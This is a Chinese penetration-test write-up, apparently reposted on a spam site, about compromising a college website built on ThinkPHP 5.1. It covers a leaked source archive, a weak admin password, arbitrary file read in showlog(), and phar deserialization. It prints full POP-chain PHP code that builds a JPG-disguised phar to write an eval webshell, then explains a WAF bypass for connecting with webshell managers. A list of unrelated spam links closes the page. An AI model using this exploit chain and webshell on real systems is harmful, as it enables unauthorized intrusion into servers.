当前位置: 首页 > news >正文

青岛谁优化网站做的好处网站建设多选题百度文库

青岛谁优化网站做的好处,网站建设多选题百度文库,自己做的网站怎么打开,家政服务app软件开发觉得这个洞还算有点意思,可以记录一下 首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS 分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架 通过APP、Public得到后台访问路径…

觉得这个洞还算有点意思,可以记录一下

首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS

分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架

在这里插入图片描述

通过APP、Public得到后台访问路径/bhadmin

在这里插入图片描述

在这里插入图片描述

后台登陆存在弱口令(弱口令真是永远滴神):admin/123456

分析源码,发现在System控制器下有一个showlog()方法

在这里插入图片描述

	public function showlog(){$path    = input('post.path','');if ($path == '') return json(0);if (!file_exists($path)) return json('文件不存在');$content = file_get_contents($path,false);return json($content);}

$path接收的是post传参,参数名是path,如果$path为空,返回为0,否则会检测该文件是否存在,如果存在则file_get_content()读取成json格式返回。input()方法功能如下:

if (!function_exists('input')) {/*** 获取输入数据 支持默认值和过滤* @param string    $key 获取的变量名* @param mixed     $default 默认值* @param string    $filter 过滤方法* @return mixed*/function input($key = '', $default = null, $filter = ''){if (0 === strpos($key, '?')) {$key = substr($key, 1);$has = true;}if ($pos = strpos($key, '.')) {// 指定参数来源$method = substr($key, 0, $pos);if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {$key = substr($key, $pos + 1);} else {$method = 'param';}} else {// 默认为自动判断$method = 'param';}if (isset($has)) {return request()->has($key, $method, $default);} else {return request()->$method($key, $default, $filter);}}
}

showlog()方法参数可控,并且$path传入file_exists()file_get_contents(),首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x在网上有很多公开的反序列化利用链。众所周知。Phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。

对Phar反序列化有不理解的可以参考我的这篇文章:由浅入深理解PHP反序列化漏洞

那么我们如果在后台传入一个构造好的phar文件,然后在$path的位置使用Phar://协议访问改文件,即可触发phar反序列化showlog方法的访问路由:/bhadmin/system/showlog

在这里插入图片描述

然后需要找到一个上传点,并且能获取上传文件的绝对路径。

在这里插入图片描述

添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径

在这里插入图片描述

综上所述即可构造Phar反序列化GetShell,直接用网上公开的链子

<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct($function,$parameter){$this->data['smi1e'] = $parameter;$this->withAttr['smi1e'] = $function;}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function, $parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

同目录下随便放一张名为pic.jpg的图片,运行该文件,将生成的test.phar修改后缀为test.jpg然后上传

在这里插入图片描述

回到showlog()方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

在这里插入图片描述
构造写入Shell

<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct(){$this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';$this->data['jelly'] = '<?php @eval($_POST[m]);?>';$this->withAttr['smi1e'] = 'file_put_contents';}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function,$parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

在这里插入图片描述
成功写入shell,但是蚁剑连接还是报错,猜测有waf

在这里插入图片描述
把蚁剑流量代理到Burp

在这里插入图片描述

测试发现确实是有WAF

在这里插入图片描述

但是经过多次测试发现这个waf比较友好,过滤了@base64_decode关键字,可以绕过,base64_decode可以使用拼接绕过,@直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能

在这里插入图片描述
绕过waf之后即可成功连接shell

在这里插入图片描述
在这里插入图片描述

如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf

在这里插入图片描述

http://www.15wanjia.com/news/176792.html

相关文章:

  • 网站开发后端框架什么意思做网站要空间还是服务器
  • 网站-网站建设定制毕业设计网站建设 论文
  • 泉州最专业微信网站建设开发游戏的网站
  • 河源市连平县建设局网站潍坊建筑公司排名
  • 社交网站建设计划书wordpress管理员登陆
  • 网站优化排名推荐佛山厂家关键词网络推广
  • 旅游网站建设的利益河北网站开发网站
  • 东莞中高端网站建设wordpress清新Minty主题v4
  • 西安做兼职网站设计郑州seo关键词
  • wordpress 图片站模板陕西住建执业证书官网
  • 建设网站怎么建立服务器邢台市建设局官方网站
  • 增加网站收录广州高端品牌网站建设哪家公司好
  • 官方网站让第三方建设放心吗关键词优化最好的方法
  • 做一个网站大概需要多少钱低代码无代码开发平台
  • 北京网站设计提供商微信小程序无代码开发平台
  • 合肥网站设计goz网站开发实例百度云
  • 哪个网站可以做网页wordpress comment_form();
  • 上门做网站网站建设出错1004
  • 青海市建设局网站模板建站难度大
  • 制作视频网站违法吗微信官方网站首页
  • 织梦服务行业手机网站模板校园网站建设情况统计表
  • 科技网站设计公司排名海洋cms
  • 网站域名如何申请怎么建设批量模板网站
  • 网站长尾关键词排名软件建工类培训机构
  • 半路出家去学计算机网站开发潍坊网站建设价格低
  • 虚拟机中建设iis网站西安知名网站开发的公司
  • 大网站的建设重点做排行网站
  • 兰州 网站建设公司哪家好wordpress get请求参数
  • 江苏城乡建设学院网站用vs2013做网站案例
  • 温州建网站哪家强东莞陈村网站制作